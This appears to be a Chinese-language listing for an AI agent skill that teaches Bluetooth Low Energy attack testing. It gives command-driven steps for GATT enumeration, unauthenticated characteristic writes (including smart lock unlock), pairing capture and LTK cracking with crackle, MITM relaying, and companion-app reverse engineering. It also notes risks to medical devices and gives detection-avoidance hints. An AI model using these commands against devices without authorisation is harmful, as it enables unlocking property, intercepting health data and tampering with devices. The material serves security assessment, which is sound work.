关于 offensive-bluetooth-ble
面向安全评估人员的 Bluetooth Low Energy 攻击测试方法指南,介绍 GATT 枚举、特征读写、配对分析、嗅探与中间人测试,并涉及配套应用逆向。
主要功能
- 01发现设备并枚举 GATT
- 02测试特征的未认证读写
- 03识别配对方式与保护能力
- 04捕获并分析配对流量
- 05逆向配套应用以查找命令格式
适用场景
- 01评估智能锁和可穿戴设备的 BLE 接口
- 02检查配对过程是否易受中间人攻击
- 03分析厂商自定义特征的协议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-bluetooth-ble安装后在 Claude Code 中输入/offensive-bluetooth-ble确认已加载。
详细介绍
Bluetooth Low Energy (BLE) 攻击
BLE 设备通过 GATT 通信,GATT 是由服务、特征和描述符组成的层级结构。许多设备将 BLE 链路本身视为信任边界,因此附近的任何设备都能读取或写入特征,并执行特权操作。
快速工作流
- 发现并枚举设备的 GATT 树
- 测试每个特征在未经身份验证时是否支持读取、写入和通知
- 检查配对方式——Just Works = 无中间人保护
- 如果使用 Just Works,则对配对实施中间人攻击,以捕获 / 注入数据
- 逆向分析配套应用,了解专有命令格式
发现与 GATT 枚举
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT 服务对 SIG 定义的服务(电池、心率)使用 16 位 UUID,对厂商定义的服务使用 128 位 UUID。自定义的 128 位 UUID 对应厂商特定命令,也是你的攻击面。
无需身份验证即可读写特征
测试所有标记为可读 / 可写 / 可通知的特征:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
消费级 BLE 设备上的常见发现:
- 门锁:
unlock特征接受任意写入(无需身份验证) - 智能灯泡:任何对等设备都能写入亮度 / 颜色
- 可穿戴设备:PIN / 锁定状态可读
- BLE 信标:任何对等设备都能配置(品牌仿冒攻击)
配对方式识别
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| 方法 | 安全性 | 攻击 |
|---|---|---|
| Just Works | 无——接受任何身份验证 | 配对期间可轻易实施中间人攻击 |
| Numeric Comparison | 用户确认 6 位代码 | 只能操纵 UI;加密强度高 |
| Passkey Entry | 输入或显示 6 位代码 | 某些配对变体中的通行密钥可通过暴力破解 |
| Out of Band (OOB) | NFC / QR 交换 | 不在 BLE 攻击者的范围内 |
LE Legacy Pairing 使用可通过捕获的配对交换破解的 TK 派生方式。LE Secure Connections(Bluetooth 4.2+)使用 ECDH;只要未强制使用 Just Works,安全性就很强。
嗅探配对交换
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
对于使用 Just Works 的 LE Legacy Pairing,crackle 可在几秒内恢复 LTK。对于 LE Secure Connections,crackle 会返回“使用强密钥加密,无法恢复”。
配对期间主动实施中间人攻击
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
如果配对方式是 Just Works,你就会成为双方认可的对等设备——实时读取 / 修改 GATT 操作。
配套应用逆向工程
对于厂商定义的特征,其格式可在应用中找到:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
如需深入分析配套应用,请移交给 offensive-mobile。
特定设备类别
智能门锁
- 测试
unlock特征是否允许未经身份验证的写入 - 测试滚动令牌是否可重放(在有效时间窗口内捕获并重放)
- 检查固件中是否硬编码了 LTK(芯片取证 + 二进制分析——参见
offensive-iot)
汽车(BLE 手机即钥匙)
- 中继攻击(使用两台配备 SDR 的中继设备扩展范围,参见 2022 年 Tesla 研究)
- 配对状态机缺陷
医疗设备
- 通常通过未经身份验证的 GATT 传输遥测数据——邻近攻击者可读取 PHI
- 部分设备允许远程配置(胰岛素泵、心脏起搏器——请谨慎协调漏洞披露)
信标(iBeacon、Eddystone)
- 通常可使用默认密码配置(
0000、12345678、厂商特定密码) - 通过重新打标造成跟踪混淆或开展反营销
检测注意事项
- BLE 没有与 Wi-Fi WIDS 相当的原生入侵检测功能
- 厂商云端可能会检测到异常的特征访问模式(较少见)
- 用户可查看配对失败日志——多次出现 Just Works 提示可能引起怀疑
交战速查表
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk
主要参考资料
- Sniffle:github.com/nccgroup/Sniffle
- crackle:github.com/mikeryan/crackle
- bettercap BLE 模块:bettercap.org
- Bluetooth Core Spec 5.x——Volume 3 (Host),了解 GATT/SMP
- “Bluetooth Low Energy Hacking”(Cap Gemini、NCC 研究)
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
评论
支持 Markdown